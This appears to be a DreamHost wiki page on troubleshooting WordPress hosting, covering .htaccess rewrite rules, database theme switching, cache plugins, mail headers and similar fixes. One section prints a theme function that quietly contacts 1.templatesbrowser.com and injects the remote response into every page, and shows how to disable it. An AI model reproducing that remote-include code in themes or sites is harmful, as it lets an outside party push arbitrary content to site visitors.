WordPress Troubleshooting

Lots of stuff can go wrong with WordPress. Make sure to refer to this section first if anything does for you.

Performance
Find a detailed instructions here

Multiple installs
Just pasting in an IRC convo for now. Feel free to edit it into something better.

 grimboy: I'm trying to solve this problem: http://climbtothestars.org/archives/2006/12/18/hairy-htaccess-dreamhost-wordpress-problem/  which is literally driving me nuts  support isn't helping  I don't know what to do anymore  so I'm wondering if changing to mod_php might help bunnywabbit_, Nah, you have to solve these things on your own with dreamhost  grimboy: exactly  what I'm trying to do So what does your .htaccess look like. What type of authorisation are you using?  anyhow.. I'm fairly familiar with php (cgi/mod), wordpress, and .htaccess  AuthUserFile /home/cafe/.htmembres  AuthType Basic  AuthName "Authentification obligatoire."  Require valid-user  that's int he protected directory  and the root .htaccess is a wordpress install .htaccess, standard  I think it's more likely to be an issue with the .htaccess in the parent directory  wordpress by default attempts to hijack all sorts of stuff <Sabrejack> i'd look for an .htaccess at /home/cafe/yoursite.com/.htaccess <bunnywabbit_> jali: where it should be <bunnywabbit_> have to go eat <bunnywabbit_> Sabrejack: that one is a normal wp .htaccess bunnywabbit_, He's right bunnywabbit_, Add this to the parent one. RewriteCond %{REQUEST_URI} ^/membres.*$ [OR] RewriteCond %{REQUEST_URI} ^/failed_auth.html$ RewriteRule ^.*$ - [L] <bunnywabbit_> grimboy: so I put the 3 last lines you gave in the parent .htaccess? bunnywabbit_, Yeah, give it a try. Might not work. bunnywabbit_, Put it at the start <bunnywabbit_> looks like this now grimboy, does that look ok? <bunnywabbit_> <IfModule mod_rewrite.c> <bunnywabbit_> RewriteEngine On <bunnywabbit_> RewriteBase / <bunnywabbit_> RewriteCond %{REQUEST_URI} ^/membres.*$ [OR] <bunnywabbit_> RewriteCond %{REQUEST_URI} ^/failed_auth.html$ <bunnywabbit_> RewriteRule ^.*$ - [L] <bunnywabbit_> RewriteCond %{REQUEST_FILENAME} !-f <bunnywabbit_> RewriteCond %{REQUEST_FILENAME} !-d <bunnywabbit_> RewriteRule. /index.php <bunnywabbit_> </IfModule> bunnywabbit_, Yeah, looks ok to me. <Sabrejack> .htaccess and rewrite rules get processed before any scripts. Yay, it's worked. Hurrah. Not a genius though, just a guesser. <bunnywabbit_> so what do those lines do? <bunnywabbit_> and what did you guess the problem was? bunnywabbit_, Stop the parent (public) blog stealing the urls from the private blog. That's what they do. <bunnywabbit_> lovely Yeah, wordpress can be evil like that.

Cache plugin and random breakage
In the below everything --like this-- should be replaced with different stuff.

This plugin breaks when dreamhost moves what fileserver you're on. The problem is /home/--user--/--example.com--/wp-content/advanced-cache.php is a symbolic link to /home/.cluster/--user--/--example.com--/wp-content/plugins/wp-cache/wp-cache-phase1.php. Log via ssh and do this:

Plugins
Certain plugins make use of environment variables that are not present on DreamHost's servers. If you run into weird problems, try adding this to your wp-config.php on the line after the initial " ":

$_SERVER['SCRIPT_NAME'] = $_SERVER['SCRIPT_URL']; $_SERVER['SCRIPT_FILENAME'] = $_SERVER['DOCUMENT_ROOT'].$_SERVER['SCRIPT_URL'];

Theme
When the current theme breaks or has a problem it can make the entire site inaccessible with errors. This makes it hard to switch to a working theme, because even the admin panel won't load!

In order to switch to a different theme, you'll need to edit the database directly. Don't panic! This is not as terrifying as it might seem, and you're only going to change TWO values.

To switch to a different theme using the database:
 * 1) Log into phpMyAdmin (there's a link on the DreamHost panel's Goodies -> MySQL Databases page
 * 2) Find the _options table (the table name will have a prefix but will end with "_options")
 * 3) Go to the second page and look for the options with the names template and stylesheet
 * 4) Change those two to match the directory name of a different theme you have installed

We recommend using one of the default WordPress themes, like Twenty Thirteen, for this. The folder name will be 'twentythirteen' so put that in for both values and you should be good to go! If you get error 500s, make sure you have the theme typed in correctly.

YouTube videos
If you would like to add youtube.com videos to your WordPress blog there are a few plugins you can install, but the easiest way might be to do the following:

Disable the visual rich editor by unchecking that box under Users>Your Profile.

Paste the following text into your post, changing the link to the video you want to use:

<embed src="http://www.youtube.com/v/Yu_moia-oVI" type="application/x-shockwave-flash" width="425" height="350">

Save it and see what happens, it should work. You can always go back and enable the rich editor, but for posting this code, it seems you have to disable it first, otherwise it will not save it properly. Hope it helps someone!

Permalinks
One should be careful when specifying a permalink structure and take into consideration how the Apache HTTP Server and mod_rewrite process requests.

The permalink structure tags require that WordPress be invoked through internal redirection in order to match database records to the values present in the URI. This results in Apache reporting status code 200 "OK" in your server log files. However if WordPress does not find a match, it reports a 404 "Not found" to the web browser.

Also, since URI processing ends when the internal redirection is made, the permalink feature my prohibit one from accessing valid URIs that do not have anything to do with WordPress. Here is an example:


 * Blog address (URI):
 * Structure:

If one were to browse to http://example.com/stats to review the site statistics provided by DreamHost, then WordPress intercepts the request so it can check if 'stats' is a category. It won't find it and report "Not found", and processing of the has URI stopped before the server could access the site statistics (probably via the Alias directive, aka the "Re-map Subdir" feature).

To avoid problems, one should avoid installing WordPress into the root OR use a permalink structure that does not begin with a tag. You can also follow the directions on this page to restore your access to /stats.

Blank Pages
If you have "blank pages" in WordPress with wp-cache turned on after you upgrade to PHP 5.1.2 - there is simple fix to solve the problem:-


 * 1) Open /wp-content/plugins/wp-cache/wp-cache-phase2.php file* in your favourite text editor, where is the domain that you're having troubles with EG: dreamhost.com/wp-content/plugins/wp-cache/wp-cache-phase2.php
 * 2) Alternatively if that file is not in that location for some reason you can issue this command to find it from the directory:
 * 3) Locate the wp_cache_ob_end function
 * 4) then inside that function find the line with: ob_end_clean; (it should be line 219 or about)
 * 5) and finally replace that line with: ob_end_flush;

Enable Referer Error
You may come across this error, it will stop you saving changes in the admin section of WordPress. It is a security measure to stop people gaining access to the admin panel. The most likely reason for it happening is you have enabled "Remove www." in the domains section of dreamhost panel. If you still wish to have www. disabled you can fix the problem by:-

(Warning: Editing the settings in here could break your blog, only attempt it if you feel confident doing so)
 * 1) Goto the "goodies" section of the dreamhost panel.
 * 2) Click MySQL.
 * 3) Click on phpMyAdmin and log in using your details.
 * 4) Select the database for WordPress in the left hand panel then click "wp_options" (or whatever prefix you have called it e.g x_options)
 * 5) Click Browse at the top.
 * 6) The top entry here should be site_url.
 * 7) Edit this by clicking on the small pencil icon on the left hand side. Change the URL from http://www.example.com/blog to http://example.com/blog
 * 8) Save the changes. That should hopefully have cured the problem.

If not refer to the link provided in the error message.

International Website Issues
If you are developing a foreign language website using WordPress, you would want to make sure that WordPress is setup to use UTF-8 encoding on the WordPress > Options > Reading page.

Also - because Dreamhost's default MySQL client does not use UTF-8 encoding, so you will need to modify the wp-include/wp-db.php to include this line: $this->query("SET NAMES UTF8"); More details here: UTF-8 encoding with WordPress

Using the Durable theme
If you use the Durable theme in version 2.2.1 of the WordPress with the one-click-install, you will probably want to upgrade to version 0.2.5 of the theme: http://www.blazenewmedia.com/projects/durable  Earlier versions of the theme seem to be incompatible with the latest version of WordPress.

Networks
If you enable Networking (Multi-blogs) in WordPress 3.0, be aware that Dreamhost adds 4 lines to the end of the wp-config.php file, which cause problems creating your individual blogs in the network. Specifically, it will cause WordPress to concatenate DOMAIN_CURRENT_SITE, DB_NAME, and the name(s) of your new blog(s) together. This concatenation will persist into the blogs' new URL, essentially breaking the Network at setup. To fix it, comment out the 4 lines added by Dreamhost, which are:

$server = DB_HOST;

$loginsql = DB_USER;

$passsql = DB_PASSWORD;

$base = DB_NAME;

After installing the new blog(s), you should probably uncomment those lines, as they may (or may not be) be associated with automatic upgrades in the Dreamhost panel.

Atom Publishing Protocol
If you enable the Atom Publishing Protocol, under, you may find that you get the following error when attempting to authenticate:

Your authorization was rejected (Atom::Unauthorized)

This is a limitation specific to FastCGI -- specifically, FastCGI does *not* pass HTTP Authentication environment data.

Add the following lines to your .htaccess file:

RewriteEngine on RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]

For more information on this, read this

Contact Forms
Emails sent out by contact forms should be sent 'from' the website with a from email address like <contact@website.com>. WordPress should never use the email addresse entered into the form as the 'from' address! Since your website is sending the emails, the 'from' address should only be one you control and that matches the domain of the website. The email address the site visitor put in the contact form can be put in the Reply-To header, so when you click reply on the email it goes to them. This is related to a mail policy change DreamHost announced in April 2012.

This is an example of a smart way to send out emails from a contact form: From: Site Visitor <contact@yourwebsite.com> Reply-To: Site Visitor <site@visitorwebsite.com> To: Admin <admin@website.com> Subject: Contact Form Submission

Contact Form 7
Contact Form 7 is an example of a contact form plugin that lets you completely control the emails it sends, right in the WordPress admin panel. You can use it to send emails out with the name of the site visitor an a site admin's email address: From: [your-name] <admin@website.com> You can also setup the Reply-To header so that replies to these emails will go directly to the site visitor: Reply-To: [your-name] <[your-email]> http://contactform7.com/adding-cc-bcc-and-other-mail-headers/

More detailed steps at http://savorywatt.com/2012/10/10/fix-contact-form-7-not-working-with-dreamhost/

Jetpack Contact Form
Jetpack's contact form does not have an option to easily adjust the from address is sends mail as. You can manually hack the PHP code of Jetpack to adjust that, but any modifications to the code of Jetpack run the risk of being overwritten whenever Jetpack updates. Also, Jetpack's contact form shortcodes can interfere with other contact forms.

You can disable the Jetpack contact form, so you can use all the other cool Jetpack features but use a different plugin's contact form.
 * 1) In the WordPress admin panel, open the Jetpack plugin settings.
 * 2) Locate the Contact Form box, and click the 'Learn More' button.
 * 3) Click the 'Deactivate' button.

Third party themes and Malware
Themes downloaded from templatesbrowser.com contain code that has been known to add malicious items to wordpress blogs.

This is triggered via a link in the theme back to the templatesbrowser.com web site that pulls data in and displays it on your page.

It is relatively easy to disable if you have basic coding and FTP knowledge:

The page /wp-content/themes/THEME-NAME/functions.php contains the following code -


 * if ( function_exists('register_sidebar') )
 * register_sidebars(2);


 * function credits
 * $url = "1.templatesbrowser.com/wp.php?".
 * "url=" . urlencode($_SERVER['REQUEST_URI']) . "&" . "host=" . urlencode($_SERVER['HTTP_HOST']);
 * $check = @fsockopen("1.templatesbrowser.com", 80, $errno, $errstr, 3);
 * if($check)
 * @readfile($url);
 * fclose($check);
 * }
 * }
 * }
 * }

The problem is the line starting with $check which is calling code at 1.templatesbrowser.com - you have no control over what is included in your page and this technique is being used by templatesbrowser.com (perhaps unknowingly) to add the code to your blog.

To remove it, open /wp-content/themes/THEME-NAME/footer.php

change the first line
 * <?php get_sidebar; credits; ?>

to


 * <?php get_sidebar; //credits; ?>

This stops the function credits which is where the functions.php page which contains the link to the website is added into the theme.

Problems Adding Media in WordPress 3.5
The Add Media button stops working for some sites after upgrading to WordPress version 3.5 or 3.5.1. To fix this, add define('CONCATENATE_SCRIPTS', false ); to your <tt>wp-config.php</tt> file just before require_once(ABSPATH . 'wp-settings.php'); It will look like this image when you're done. Then run the <tt>wp-config.php</tt> file in the browser to update (example <tt>your_site.com/wp-config.php</tt>).